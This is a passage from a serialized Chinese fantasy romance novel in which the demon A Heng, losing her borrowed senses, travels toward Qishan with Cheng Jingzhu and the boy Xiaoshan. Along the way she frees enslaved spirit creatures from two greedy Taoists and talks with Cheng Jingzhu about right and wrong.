院子里点着灯,昏黄的光影映照一片皑皑的雪,程净竹的目光落在她手中的那枚玉章上;“你真要带他去岐山?” “你不许啊?” 阿姮问。 “岐山万分凶险,这不是儿戏。” 程净竹说道。 “我没有儿戏,”阿姮把玩着那枚玉章,“我想干什么就干什么,你拦不了我。” 细雪落下,悄无声息,程净竹注视着她:“我只是想提醒你,你既然亲口答应了他,那么他的性命,就是你的责任。” 阿姮一顿。 “明日一早启程。” 程净竹没再多说什么,踩雪往对面去了。 阿姮看着他的背影,见他推门进了屋子,她才又举起来那枚玉章,临着檐下的灯笼,她翻来覆去地打量起玉章,发觉底下刻着一个字,被朱砂的颜色浸满的字,但阿姮把它拆开来看,认识,合起来就不认识了。 这玉章透过灯火,看起来更加光彩莹莹。 雪花纷纷扬扬擦过屋檐,暖光的灯影,与玉章的光彩顷刻从阿姮的眼中褪去,阿姮唇边的笑意一僵。 印章底下朱砂的颜色也变成了浓郁的黑。 阿姮一下转过脸,檐外飞雪,依旧素白,而天幕依旧黑沉,她仍旧记得灯火暖黄的颜色,但她眼中所见,却是一片灰白。 她这双绣鞋上的红山茶也变黑了。 夜风吹拂她的衣摆。 阿姮脸上一丝表情也没有—— 作者有话说:上一章的后半部分有改动,没重刷的同学们记得重刷一下哦~《 》 60-65 第61章 第61章 阿姮,你可想要一颗心?…… 翌日清晨, 虽风停雪止,亦昼晦不明,阿姮在床上打坐整夜,与霖娘互不打扰, 霖娘从没见过阿姮如此安分, 心里觉得奇怪, 她梳洗完毕,正照着菱花小镜,却意外透过小镜, 看到床边昨夜她拿给阿姮的红豆饼子, 阿姮竟然一口没动。 “阿姮, 你……” 霖娘想起这段时日, 她无论给阿姮弄来什么好吃的,阿姮都似乎兴致缺缺, 霖娘此刻心中忽有所感, 不由问道:“是不是尝不出味道了?” 阿姮仍闭着眼,没有睁开:“是啊。” 霖娘没有想到, 自己带给阿姮的感官竟然消失得这样快, 她柳叶般的眉皱起来, 快步到阿姮面前:“什么时候的事?你怎么没告诉我呢?” “这难道是什么很重要的事吗?” 阿姮随口道。 “当然很重要啊。” 霖娘蹲在床前, 说道:“你那么喜欢吃, 还有很多食物你还没有尝过,味觉就那么消失了……都怪我,明明答应把我的皮囊送给你, 最后却食言……” “好了。” 阿姮睁开眼,看见面前的霖娘,霖娘整个人在她眼中像是被蒙了一层灰白的颜色, 阿姮看不出任何生动的色彩,但眼睛忽然刺痛一下,她又看到霖娘的脸呈现出人类皮肤的本来色泽,她鬓边的珠钗也绿莹莹地闪着光。 死寂的灰白与生动的色彩来回变换,阿姮捂住疲乏不堪的眼睛:“我不但早就失去味觉,如今,这双眼睛看颜色也时好时坏了。” 昨夜,她在灯下看那玉章,一霎间万物褪色,她还以为她再也看不到颜色了,但回到屋子里没过一会儿,那些失去的色彩又重新回到她眼睛里,一整晚,她的眼睛反反复复,这令她脑子十分眩晕,只得闭目打坐,勉强适应。 她记得小神仙说过,霖娘那副皮囊带给她的感官是会消失的,只有人类的心脏才能令她重新拥有那些东西。 她感觉得到,这双眼睛很快便会再也看不见除黑白以外的所有色彩。 “那怎么办?” 霖娘一把抓住她的手。 “怎么办?”阿姮重复着这三字,说,“你不是也知道吗?只有人类的心脏才可以让我得到你们的感官,我知道,你对我很大方,若你还能再长一副壳子,你必然会毫不犹豫地将它给我,就连你的心脏,你也可以给我,但你不会再长一副新壳子了,所以,我要味觉,要这双眼睛看见颜色,便只能掠夺,可你……会眼睁睁看我去掠夺别人的东西?” 死人的心脏就是一团烂肉,只有掏出活人的心脏,趁着那股还没有消散的阳气,放进她的胸口才有奇效。 霖娘一下愣住了。 阿姮睁眼,透过指缝,看到霖娘那副呆住的模样,她扑哧一笑,放下手,俯身凑过去:“你看,你做不到吧?那就少说几句,你们人类的感官也没什么了不起,食物是孱弱的人类赖以生存的东西,我却本来就不用吃喝,我这双眼,虽看不到那么多颜色,却比人类的视力要强得多,你们人类根本没什么好。” 阿姮说到最后,脸色越来越臭:“就是这眼睛折磨了我一夜,我实在是太累了!” 霖娘想了想,起身去将那铜盆端来,结印施术,铜盆中顿时充盈着清水,她拿来干净的帕子,对阿姮说:“你把水弄热,我用帕子给你热敷试试。” 阿姮对她所说的热敷持怀疑态度,但还是掌托烈焰将铜盆里的水给弄热了,霖娘把帕子浸了热水,拧干,敷到阿姮的眼睛上,让她坐着:“你别动啊,正好,我给你梳头。” 霖娘向来给阿姮梳头比给自己梳还要兴致勃勃,她今日又变了个花样,给阿姮梳起来一个新式的发髻,然后又将万木春簪回阿姮髻侧,红山茶娇艳欲滴。 霖娘将帕子摘下来,问阿姮:“怎么样?有没有好一点?” 阿姮睁开眼,说:“好像有好一点。” 此时,隔壁屋子外,小山看青娥坐在门边,此时晦暗的天色倒显得满地雪光冷冷,小山走过去:“青娥姐姐?” 青娥循着他的方向侧过脸,红布在她脑后被风吹得飞扬:“小山,既然已经有人陪你去岐山,那我就不去了。” “……姐姐?” 小山愣愣的。 青娥唇边浮出淡淡的笑意:“我的眼睛看不到,一直都是你的累赘。” “不是的!” 小山连忙说道。 “不是吗?” 青娥的眼睛被红布遮盖得严严实实,她的神情从不外露,一张瘦削的脸,十分的苍白,语气却透出很多的不解:“自遇见我,你打鸟,只能吃半只,捉鱼,只能吃半条,偷芋头,也只能吃半个,没有我,你本可以吃得饱,也不会因为我而落入人牙子手里。” 小山的脸发红,蹲在她面前,忙说:“姐姐,你小声点,什么偷嘛……芋头,芋头是我捡的……” “姐姐,我一直没问你,你的家在哪儿啊?” 小山又说。 “家?”晨风拂过青娥的脸,她耳边浅发微动,她似乎因为这个字而有片刻的失神,随后,她以平静的口吻道:“我的家已经被毁掉了。” 小山闻言,抓住她的手,说:“那,青娥姐姐你等我回来,等我找到小勤,我和小勤带你一起回岐泽国,回冬青县!” 青娥闻言,笑了笑:“我会等你的,等你回来我再走。” “走?你去哪儿?你不和我一起回冬青县吗?”小山望着她。 灰蒙蒙的天色映照青娥的脸,她说:“不,小山,我有自己的家,它虽然被毁掉了,但总有一天,一切都会恢复如初的。” 小山一点也听不懂。 此时,对面屋子房门开了,小山抬头看去,只见那位程仙长先走了出来,他看了小山一眼,下阶去了。 积玉后脚出来,看到小山,他叹了口气,跑了过来,敲响隔壁的房门:“霖娘,走了!” “知道了!” 霖娘应了一声,很快开门和阿姮走了出来。 阿姮眼睛还是时不时刺痛,这会儿她又看不见颜色了,小山一见她,便立即回头抱住青娥。 青娥似乎怔了一瞬,喊道:“小山?” 小山眼眶有点湿润,但他的声音听起来却依旧活泼:“青娥姐姐,我很舍不得你。” “不找小勤了?” 青娥唇边露出点笑意。 小山松开她,偷偷抹泪,说:“要找,姐姐,你在这儿要好好的,其实,我一个人走了这么远的路,心里一直很害怕,幸好在路上遇到你,有你陪着我,等我找到小勤,到时候你不跟我们回冬青县的话,我们就先送你回你的家,我不知道毁掉了是什么意思,但是,家是房子,是家人,没有房子,我给你造房子,没有家人,我帮你找家人,找不到的话,我就是你的家人……” 过了好一会儿,青娥轻声道:“傻小山。” 阿姮没心思细听他们说些什么,见程净竹已经出了院子,她有点没耐心:“喂,小崽子,你还走不走?” “走!这就走!” 小山立即跑到屋子里去。 阿姮走到门边,看他拿上一个小罐子,当宝贝似的放进怀里,此时,坐在门边的青娥侧过脸来:“阿姮姑娘。” 阿姮朝她看去。 此时的天色在阿姮眼中是灰白的,青娥身上一点色彩都没有,那张脸清瘦极了,略尖的下巴轻抬起来,她忽然笑了一下,说:“真可惜。” “什么?” 阿姮觉得她说话简直没头没尾的。 青娥在风中坐,一身清寒,红布飞扬,轻擦她的肩背:“可惜我眼睛坏了,不然,我还真想看看你是什么样子。” 阿姮一顿,凝视着她。 小山很快跑了出来,积玉在前面催促,霖娘一手拉着阿姮,一手拉着小山跟上去,小山出了院子,总忍不住回头去看坐在门边的青娥。 积玉的药很管用,小山今日没有怎么咳嗽了,一行人御风而行,越是往岐山的方向去,便越是人烟尽绝,哪怕偶有村舍,也都屋塌房倒,白骨遍地,他们几经辗转,黄昏时分落在一片山林之间,小山脚刚从云端踩到了地上,便连忙殷勤地围着阿姮打转:“阿姮姐姐,你渴吗?” “不渴。” 阿姮不耐烦道。 “那你饿不饿啊?肯定饿了吧,你想吃鸟还是想吃鱼啊?我带了盐,烤什么都不会难吃的!”小山拍了拍胸脯。 阿姮觉得他好烦:“我才不吃你们人类的东西。” “啊?” 小山一下愣住了,他歪过脑袋,凑近去问,“那你吃什么啊?” 阿姮抬眸,幽幽道:“当然是吃……人类小崽子了,撒上盐,一定更好吃吧。” 小山浑身一个激灵。 “阿姮,你别吓他。” 霖娘听见了,简直哭笑不得,她忙对小山道:“你别管她了,她什么都不吃,你是不是饿了?我方才看到前面有条小溪,我陪你去抓鱼吧?” 小山站起来,说:“我自己去抓!” 霖娘还没来得及说什么,小山便蹦蹦跳跳地跑了。 “他可真是个机灵崽子,知道现在没谁会再丢下他,这便放心地去玩儿了。”阿姮看着他的背影,说道。 此时黄昏日暮,他们只得夜宿这荒野之间,积玉和霖娘去捡干柴了,阿姮转过脸,看程净竹在树下打坐,她眼珠一转,步履很轻地靠近,却见他忽然睁开了眼睛。 阿姮撇撇嘴,索性蹲在他面前,双手撑着脸,说:“小神仙,你的火焰咒术到底还有什么用处?” 程净竹盯着她:“你想逐一领略?” “……不想。” 阿姮收起笑容,恶声恶气。 程净竹再度闭起眼睛。 阿姮干脆一屁股坐在他面前,她抬起头,见程净竹背后乃是一颗高大的松树,积雪压得松枝沉甸甸的,她的目光从松枝,再度落到他的脸上:“火焰咒术的秘密你不愿意告诉我,那么霞珠呢?你说,这本不是用来对付我的东西,那你告诉我,它算什么?” 阿姮审视着食指上那颗珠子,此时,她的眼睛根本看不见它里面粉色的霞光,但她还记得那种漂亮的颜色。 “礼物。” 程净竹惜字如金。 阿姮一愣,她看向他的脸,他甚至没有睁开眼睛,浓密的眼睫那么长,她慢慢地凑过去,说:“既然是礼物,你又为什么用它欺负我?既然是礼物,我为什么摘不下来它?小神仙,你送礼一贯如此吗?如此蛮横?” “到底谁蛮横?” 程净竹眼睫一动,那双清透的眼睛望向她,片刻,他道:“你那颗霞珠里的咒术已经用尽,不会再束缚你了,你若是想摘来也可以,只要将它还给我。” “你都送给我了还想要回去?” 阿姮才不干,她一把抓住他的衣襟,宝珠晃荡,她凶巴巴道:“小神仙,你果真不肯告诉我火焰咒术的秘密?” 程净竹不发一言。沓樰團隊 “好吧……”阿姮忽然一笑,红雾骤然弥漫,程净竹身后的松树枝干猛然晃荡,满树积雪砸下来,阿姮立即要退开,却被程净竹攥住了手腕,阿姮神情一变,两人位置陡然转换,一树积雪砸了阿姮满头满身,将她整个人都淹没其中。 程净竹立在一旁,片雪不沾。 阿姮眼皮一动,雪堆掉下两团雪,她的眼睛在两个雪洞里眨动。 黑衣少年蹲下来,似乎是在端详她,随后,他伸出一根手指,在两只眼睛下面的雪上点了一点,又往下,手指勾描出一条弯弯的雪痕,像微笑的嘴巴。 他漫不经心道:“少点心眼,长长记性。” 阿姮气得浑身“腾”的一下红云直冒,她一张嘴巴,连同着雪和他的手指一起咬住:“我咬死你!” 雪浪翻飞,阿姮破雪而出,直往他身上扑。 程净竹因惯性而坐倒在地,他一手揽住阿姮的腰身,被她咬住的手指指腹抵住她的齿关,他语气清淡,却警告意味十足:“不许咬破,否则,你知道后果。” 他看穿了她想要借机取血的企图。 阿姮当然明白他说的后果是什么,不就是火焰咒术吗? 吝啬鬼。 阿姮愤愤地松开齿关。 此时,不知是什么“啪”的一声落了地,阿姮一下转过脸,积玉站在不远处,他脚边全是干柴,他那副脸色可真是精彩极了,一双眼睛瞪得大大的。 霖娘从后头抱着捆柴过来,见积玉傻呆呆地杵在那儿,她疑惑地走过去:“你干嘛……” 她忽然看到前面,松树底下,阿姮整个人趴在程净竹的怀里,头上,身上沾着好多的雪,两人衣袂相亲。 霖娘的声音戛然而止。 她连忙看积玉,果然他的脸黑得像锅底灰。 积玉嘴唇似乎抖了一下,随后猛然奔过去:“阿姮姑娘!你干什么!” 霖娘连忙把柴一扔,跑过去:“冷静!积玉你冷静啊!” “起来。” 程净竹对阿姮说道。 阿姮慢吞吞地站起来,看积玉气势汹汹地跑来她面前,阿姮担心火焰咒术,立即退避数步,而后抬起下巴:“你喊什么喊?我方才跌倒了,你小师叔扶我一把也不行吗?你们上清紫霄宫的弟子是连碰都不能被人碰一下吗?怎么?碰了会像雪一样化掉啊?” 阿姮先发制人,积玉那一身捍卫上清紫霄宫山门稳固的气势忽然就漏了,他有点怀疑,又有点相信,倒有点不好意思起来:“……是这样啊。” “肯定是这样啊。” 霖娘立即帮腔。 此时,霖娘四下一望,不见小山身影,不由说道:“阿姮,小山还没回来,是不是鱼很难抓啊?” 阿姮掸了掸身上的雪:“真烦。” 这样说着,她却往溪边去了。 程净竹看了一眼她的背影。 那小溪并不远,所以霖娘才放心小山去捉鱼,阿姮只越过一个小山坡,便看到了那林下小溪上果然结了一层冰,但冰层已经被砸碎一角,岸边还有点细碎的鱼鳞,阿姮望了望四周,却不见小山身影,忽然,她看到小溪对面山坡上有一丛衰草在晃动。 阿姮的身影顿时化为红雾,转瞬凝聚在对岸山坡之间,小山在草丛中猫着身子,手里握着弹弓,却忽然听见一声:“喂。” 他吓了一跳,石子险些从弹弓中飞出去。 见是阿姮,他很松了口气,忙把手指凑到嘴边,轻轻地“嘘”了一声,又拉阿姮蹲下来。 阿姮一蹲下,手背就碰到什么滑腻腻的东西,阿姮低头定睛一看,原来是几条被穿在一根树枝上的鱼,它们已经被开膛破肚,里面的内脏全都清洗一空,鱼鳞也除得干干净净。 小山把树枝插在地上,几条死鱼的眼睛和阿姮相对。 “蠢东西!让你找吃的你也找不来,这几条破鱼够什么吃的?” 斜坡下,那片林子里,忽然传来厉喝,阿姮循声望去,只见那片松林之间,一名披黄氅衣的道士一鞭子下去,那头发蓬乱,衣衫褴褛,赤着双脚的少年哀嚎一声,竟然不是人的声音,他抬起头来,头发里竟然有角,看起来像鹿角。 其他几个趴在地上的少年也被牵连,那鞭子胡乱地舞,落在他们身上,便是皮开肉绽,点点的莹光顺着鞭痕浮出。 阿姮瞥一眼那莹光,明白过来,他们似乎都是精怪。 他们有的长着鹿角,有的长着毛茸茸的耳朵,还有些从外形看根本看不出来什么,也许是草木化成的精怪。 他们无一例外,脖颈间都锁着铁环。 那铁环似乎很重,压得他们虽有人形,却根本无法站起来像人类一样行走。 那道士打累了,喘着气走到一边,一个精怪自觉爬过去,顿时幻化为一张藤蔓结成的椅子,那道士屁股往上一坐,便对坐在另一张藤椅上的人说道:“师兄,依我看,还不如将这鹿精的角割下来泡酒,这种蠢物活着没什么用,但他的鹿角泡出的酒,却可以延年益寿啊。” 他那师兄看起来年纪已经不小了,头发花白,胡须几乎长到了腹部,他的脸上有很多的斑,眼皮耷拉,神态十分的平和:“师弟,何必急于一时呢?我们还要在这里等些时日,若没有这些东西,这荒郊野岭,你哪有椅子坐,哪有东西吃呢?听我的,别急着取他们性命。” 他俨然一副慈悲相,若他身下坐的不是藤精椅子的话。 “师兄!” 那师弟年岁不比他大,人也急躁:“岐山结界乃是惠山元君所铸,师兄,我们就是到了岐山脚下,只怕也进不去啊。” “我不是告诉过你么?” 那老道闭目打坐,语气悠悠:“如今四海妖祸不断,东炎国号称四海之最,如今亦被妖祸搅乱朝纲,其他诸国也是妖孽频出,东边闹虫灾,南边闹水患,这个天下已经乱了,但这却并不是那些妖孽的本事,妖孽是祸世的刀,而握着这刀的,是天衣人,他们卷土重来了,咱们来的路上你不是也听说了吗?如今这些妖孽的声势越来越大,他们说,是天衣神族赐予他们的力量。” “那跟咱们有什么关系?” 那师弟说道。 老道睁眼:“当然有关系,我本就没打算进岐山结界,都说岐山妖患之重,连上界都为此头疼,所以才派下惠山元君,要我说,不管什么天衣人不天衣人的,上界绝不会坐视不理,惠山元君如今还没能一举清除妖祸,我们这些肉体凡胎去了岐山之中,不就是送死么?可师弟啊,我们却不能不来,你我山门弱小,若能在岐山之役中留得一笔,山门一旦扬名,届时自然香火鼎盛,弟子云集。” “我明白了!到底还是师兄您有远虑,”那师弟终于恍然大悟,他一拍巴掌,目光在这些匍匐在地上的精怪之间来回,他笑,“惠山元君在岐山降妖,而我们却在岐山脚下为元君护法,待元君清除山中妖祸归位上界,这些蠢物,便都是你我的功名,将来,何愁不能壮大山门?” 阿姮总算听明白了,她放眼望去,粗略一算,匍匐在那两个道士脚下的精怪竟有尽百之数,这二道是想在这岐山脚下用这些根本没有内丹,不能算是大妖的弱小精怪的性命来蹭一把为惠山元君护法的功名。 反正无论是妖还是精怪,死后都是原形,剥除内丹的妖和精怪根本看不出什么区别。 “臭道士……” 阿姮忽然听到身边小山咬牙切齿的声音。 她看向小山,只见小山闭起一只眼睛,弹弓中石子飞出,瞬息正中那身披黄氅衣的师弟的眼睛,那师弟顿时痛叫:“哎哟!谁?!” 阿姮看小山的手仍然红肿生疮,但他的动作却十分灵巧轻快,他手里攥着石子,一颗颗从弹弓中弹出去,又正中那老道的嘴。 “看我不打烂你的臭嘴!” 小山说着,又是一发弹弓,那师弟两只眼睛都被打中,几乎不能视物,他掏出来一把剑,气急败坏地结印:“无耻贼子!还不现身!” 阿姮立即抓起小山的后领,化作红雾,轻飘飘地穿梭在一片连天的衰草之中,那老道吐出嘴里的石子,却发现石子连着两颗门牙,带着血掉在了地上,他的脸色一沉。 “噗……”小山没憋住笑。 那老道的师弟剑刃即出,钻入丛中,所过之处,草叶若断絮一般,阿姮却带着小山悄无声息地落去他们身后的树上。 那个长着鹿角的精怪抬起头,看见了树上的他们,小山对他做了一个“嘘”的手势,然后又闭起一只眼,飞快瞄准,弹弓射出,石子正中那剑刃,“咣”的一声,石子粉碎,那剑刃却骤然转向上方,朝他们而来。 小山吓了一跳,阿姮却抓着他的领子,动也不动。 小山看到她身上漫出红雾,那雾气幽幽浮浮,剑刃凝滞了,红雾很快充盈这片林子,那老道沉声说道:“是妖气!” 那师弟听了,却是精神一振:“如此正好,师兄,咱们这份功名里好歹有个货真价实的妖了!” 他话音落,却听见一阵女子的,清脆的笑声。 那笑声很轻,却令人脊骨发寒。 那老道到底是比他那个师弟要见识广博的,他神情变得十分严肃:“只怕这妖……不是那么好对付的,快,师弟,摆阵!” 下一刻,老道手中的符咒飞向树荫之中。 阿姮发间的万木春化为金电,顿时融入她掌心的红云烈焰之中,烈焰浮出,符咒顿时焚烧成灰,闪烁着缕缕金电的红雾越来越浓,几乎令人不能视物,那一对师兄弟此时结阵已来不及,他们的手脚被红雾所缚,根本无法动弹。 “就你们这样的废物,也好意思借惠山元君的神威讨功名?” 阿姮轻蔑地笑。 “妖孽!你既知惠山元君如今就在岐山之中,还敢如此放肆?”那师弟放声怒吼。 “惠山元君才不会管你们这种坏蛋!” 小山在树上气冲冲地喊道:“你们虐待精怪,还要杀了他们,你们根本不配修行,你们那该死的山门就该马上塌掉!” 阿姮手指一勾,红雾中,那些精怪们脖子上的铁环齐齐断裂,他们忽然得了自由,起先还没反应过来,好一会儿,才一个个化出原形,四散奔逃。 那长着鹿角的少年也化成了一只鹿,他跑出几步,又停下来,然后回头冲向那两名道士,鹿腿狠踢那师弟下巴,又一腿扫到那老道脸上。 两道顿时鼻青脸肿。 小山哈哈大笑,对那鹿精喊道:“快跑吧!千万不要让坏蛋再抓住你们!” 那鹿精跑向山林深处,发出清澈欢快的鹿鸣,像在应和他。 小山忽然戳了戳阿姮的肩膀,阿姮瞥他,小山有点不好意思,扭捏了一下,说:“阿姮姐姐,你……能不能闭一下眼睛?” “你干嘛?” 阿姮觉得好莫名其妙。 “你闭一下嘛。” 小山说。 阿姮觉得他好烦,但还是闭起了眼睛,没一会儿,她听到一阵衣料摩擦,紧接着,是一阵水流声。 “你干什么!” 底下,两道齐齐发出惊疑的怒吼。 “知足吧,你小山爷爷这可是童子尿,专治嘴臭心毒,”小山将裤子一把提起来,“不过我看你们两个已经病入膏肓,神仙难救咯!” 阿姮总算明白他干了什么,睁开眼,似笑非笑:“小崽子,这种侮辱把戏,你很会啊。” 说着,她抓起小山的领子,一跃而下。 “无耻妖孽!道法在天,昭昭天理绝对不会放过你这等无耻妖孽!” 那老道沉声,正气凛然。 “老头,到底谁才是真无齿啊?” 小山却指了指自己的门牙。 无齿,也无耻,一语双关,缺牙的老道脸色铁青,皮肉颤动,却骤然对上那少女阴冷的双眸。 那种深邃而冰冷的杀意裹附住他满身筋骨。 老道听到师弟惊恐地求饶:“贫道,贫道愿献上所有妖丹,恳请二位放过我们……我师兄弟二人一定改过,从此潜心修行,再不踏出山门一步了!” “妖丹啊。” 阿姮手指一勾,二道腰间的葫芦开了口,妖丹浮出来,左右不过五粒,上面浊气浮动,竟全都是恶妖之丹,她笑了一声,“我还以为有多少呢,你们就这点手段,也敢到岐山求惠山元君的功名。” 那师弟忙道:“不,不止我们师兄弟啊,还有很多很多玄友,他们不也是冲着这份济世功名来的吗?他们想得,我们自然也想得啊!” “胡说!” 小山说道:“真正以九仪娘娘的道法为念的修行之人是绝对不会伤害无辜的!你们怀着一颗功利的心来,便想当然地认为别人也和你们一样是为功利而来,你们心思浊臭,真功利假济世,就见不得别人真有一颗济世之心?” “惠山元君是神仙,神仙救世,法力无边,而人力终不及神力,惠山元君未必真需要我们这些人,你这黄口小儿,岂知济世之心人人可有,可有时,却非人力所能及,我们做什么了?至多不过是趁一个天机,取一分地利,造一出人和,为撑起山门,广布道法而已。” “你这老头说话绕什么弯子?”小山烦死他那副故弄玄虚的口吻,“我娘说,神仙都是人变的,是先有人,再有神,所以,是先有人力,再有神力,神仙都没有说过人不如神的话,你明明是人,却没有人的骨气,你这种家伙到底在什么破山门悟的什么破道!” “你们人类的语言总是千变万化,老头你说的话听起来好像真有自己正当的理由,但细细想来,全是狗屁,”阿姮可不如小山那样有耐心地跟他们辩,“我问你,你到底泡没泡过鹿角酒?” 那老道还没说话,那师弟先喊道:“没有!我们山门所处之地精怪并不多见,我是想泡来着,这不才抓着一只吗?” 阿姮实在厌恶这两个家伙,他们身为修行之人,身上的清气却不多,可见修行并不怎么正派,她在清浊二气所构成的道法之外,即便将这两个人杀了,也没有人能看得出她身上到底有没有命债,但她却忽然想起程净竹。 万木春什么动静也没有,但阿姮无法判断它究竟是不是在等她做选择,然后,万木春再做它的选择。 阿姮抬眸,再看向那几枚妖丹,那些妖丹,确实是裹满浊气的恶妖之丹。 小山毫无所觉,转过脸来问阿姮:“姐姐,如果放了他们,他们往后要是再欺负精怪怎么办?” 阿姮绕过他,双掌红云烈焰如簇,金电闪烁其芒,锋利非常,那师弟瞪起双眼,想要挣扎,却始终被红雾束缚,不能动弹,他发出仓惶惊叫:“不!别杀我!” 阿姮灌注全力,双掌打出,红云烈焰顿时击中两道丹田,丹田之中顿时有什么应声而碎,两道也因为这巨大的惯性,强烈的罡风而身体飞出去。 阿姮与小山齐齐抬手,望向被红云金焰送去天边的两道的影子,小山张大嘴巴:“哇……飞那么高,那么远,只怕回那破山门都够了吧?” 阿姮望着天边,慢悠悠道:“不知道,忘了问他们山门在哪儿了。” 也许方向错了。 另一边,积玉和霖娘才烧起来一堆火,霖娘不经意一抬头,只见天边红色的流光飞快掠过,她连忙推了一把积玉:“哇!流星!” 积玉抬起头,果然见两点红光在天边闪烁一下,他奇怪道:“怎么是红色的……” 霖娘才不管那些,她闭起眼睛:“快许愿!神仙会听见的!” 积玉连忙并拢双手。 程净竹坐在树下,抬眸看向那两缕飞快消散的红光,随后转过脸,看向阿姮方才离开的方向。 “姐姐,我方才好像听见他们肚子里有什么碎了,像我摔碎我娘花瓶的那种声音。”小山将穿了几条鱼的树枝拿回来,跟在阿姮身边。 “那个啊,是识海破碎的声音。” 阿姮漫不经心。 “什么是识海?” “你不知道吗?修行之人都有识海,识海有的时候在脑子里,有的时候呢,在丹田里,他们两个恰好都在丹田里,识海破碎,便再也不能修行了。” 阿姮说道。 小山明白了,点点头:“这样啊,他们不能修行才好呢!他们歪心思多,根本就不配修行道法。” 小山蹦蹦跳跳的:“姐姐,你知不知道,你刚刚就像女侠一样!” 阿姮转过脸,看向他:“女侠是什么?” “女侠你也不知道吗?”小山一边走,一边转着圈儿地打起一套滑稽的拳,“嫉恶如仇,惩恶扬善就是大侠!” “阿姮姐姐,我其实不喜欢读书,但是娘身体不好,我原来想用功读书,将来要是做了大官,就可以给娘请御医治病,如果不是娘的病,按我自己想的话,我一直想做个大侠,行走江湖,打恶人,帮好人,要是可以这样过一辈子,肯定很快活!” 阿姮看他手舞足蹈,还摇头晃脑,一下笑了:“哎,小崽子,你要当一个用弹弓的大侠啊?” “不可以吗?” 小山歪着头望她:“我还没听说过用弹弓的大侠,我小山大侠就是第一个用弹弓的大侠!姐姐,我弹弓打得准吧?打鸟,打人,不在话下!我之前住在一个破庙里,好多大乞丐欺负小乞丐,抢小乞丐们好不容易讨来的东西,我用弹弓把他们一个个都打得鼻青脸肿,他们再也不敢欺负人了……还有,青娥姐姐被人牙子弄坏眼睛丢在街上讨钱,她讨不到,人牙子就打她,我看见了就躲在树上,用弹弓打人牙子,专打他的眼睛!” “那你怎么被他抓住了?” 阿姮说道。 小山挠了挠脑袋,有点不好意思:“我想把青娥姐姐偷出来,被他发现了,我是小孩子啊,打不过他,就被他捉了,但是他每次想把我卖掉,我就装病,倒在地上吐白沫的那种,人家买主不管是买去做儿子还是做苦力,都不会要有病的,人牙子跟人家磨破嘴皮,说我是装的也没人信他,哈哈哈哈哈哈……” 小山叽叽喳喳个不停,阿姮觉得他话太多,实在烦人,却又觉得,他算是个有趣的人类小崽子。 霖娘见到阿姮和小山回来,便迎上去:“你们怎么才回来?鱼那么不好抓吗?” 阿姮与小山相视一眼,几乎同时: “对啊。” “对啊。” “那,方才的流星你们看见了吗?”霖娘说着,手指指着快要黑头的天幕,飞快地划拉一下,“就这样,很快地就划过去了,而且还是红色的!” “没有哇,”小山摇摇头,“我和阿姮姐姐专心抓鱼呢,我这就去烤鱼给你们吃!” 小山说着,便跑到火堆边去了。 霖娘赶紧过去帮忙,却见小山事先便将内脏和鱼鳞都清除干净了,她不由摸了摸他的脑袋:“小山好厉害啊。” 积玉在旁边找合适的树枝将几条鱼分别穿起来。 火堆里时不时蹦出亮亮的火星子。 阿姮转过脸,此时林中晦暗,唯有那堆火是唯一的光源,那黑衣少年正在树下打坐,阿姮立即走了过去,一屁股坐到他旁边。 “小神仙。” 她喊了声。 程净竹睁开眼睛,看向她。 “我和小山抓的鱼,你一口都不吃吗?” 阿姮说。 程净竹看着她,片刻,说道:“除了鱼,还抓了什么?” 阿姮眨眨眼睛,无辜道:“什么也没有啊。” “你可看到那流星?” 程净竹又问。 “我看到了啊,”阿姮说着,笑起来,“飞那么高,那么远,真是好漂亮啊。” 程净竹却不说话了。 仿佛他真的只是随口一问。 小山正在火堆旁跟积玉、霖娘吹嘘自己的烤鱼技巧,还是那么叽叽喳喳的,阿姮的目光停留在程净竹的脸,好一会儿,她说:“小神仙,我问你,在你眼里,什么是好人,什么是坏人?” “我眼里?” “嗯,你眼里。” 程净竹对上她那副认真的神情,她似乎真的诚心在向他求一个解,夜风拂来,吹动他黑色的发带,片刻,他开口道:“你根本不必在乎我眼里的好坏。” “为什么?” 阿姮没料到他会这样说,她追问道,“要是有一天,我杀了你眼里的好人,放过你眼里的坏人,你会怎么样?” 程净竹却凝视着她的眼睛,说:“你很在乎我的看法,为什么?” “是我在问你,”阿姮的眉皱了皱,“要是我真的那么做了,你会不会很生气?你会不会……把我丢掉,再也不带着我了?” 细雪纷纷扬扬,穿林而来。 不远处的火光时而映照阿姮的脸,她问出这样的话,身躯也不自觉往他的方向前倾,一双眼睛始终注视着他的脸。 火堆的光影在程净竹的眸中闪了闪。 他忽然侧过脸,错开视线,一片淡淡的光影之间,这雪来的悄无声息:“我眼里的好坏,是我的所见,是我的独断,若我以我见世间的眼光来对你说,这样好,那样不好,那便是在用我的眼光束缚你,驯服你。” “什么意思啊?” 阿姮云里雾里。 “意思是,我眼中的对错并不是你用来见世间,处世事的准则,你该相信你自己的本心。” “可若我的本心做了错的选择呢?” “那就承担,不要怕犯错,不论是妖,还是人,都会犯错。” 他说道。 阿姮却望着他。 他说承担,说不要怕犯错,可阿姮却望着他那双眼睛,好一会儿,她笑盈盈地说:“我怎么觉得你比我自己还要相信我呢?” 飞雪如絮,程净竹的目光落在不远处的火堆,积玉与霖娘伴着小山,三人其乐融融,说说笑笑。 “阿姮,不要怕选择,若是你心之所向,它会告诉你对还是错。” 他说。 阿姮其实听得不是那么明白,但忽然听到程净竹唤她的名字,雪花一片片拂过她的耳廓,弄得耳朵痒痒的,她低下脑袋,手指在雪里戳了戳,说:“万一我做错了事,你不许骂我,也不许把我丢掉……” 她抬起脸,凶巴巴的:“你听到了没?” 雪意弥漫,风声呼呼,林间枝叶簌簌,黑衣少年似乎好一会儿没有声息,但阿姮见他忽然动了,他稍稍倾身,从那片浓郁的阴影里露出一张漂亮的脸,襟前的宝珠微微晃荡,珠光如露:“我为什么要答应你?” “你要是敢不答应,你可就要好好保护你的心脏,还有你的血了,我肯定不会放过你……” “我答应你。” 少年言辞平淡,眉清目冷。 阿姮的声音戛然而止,她恶狠狠的神情一下变得茫然。 “哦……” 她半晌,才干巴巴地发出声音,扬起嘴角。 那边,小山烤好了鱼,阿姮和程净竹都不吃,只有霖娘与积玉捧他的场,程净竹修成金身早已辟谷,积玉却还没辟干净,吃条鱼是不算什么的。 夜更深,人语渐消,除小山以外,几人各自打坐修行,阿姮早将那几粒妖丹给吞了,此时正好用之前程净竹教她的办法克化浊气引入丹田,为她所用。 她修炼得很专心,不知过了多久,她听到小山的声音:“阿姮姐姐?姐姐?” 他叫的很小声。 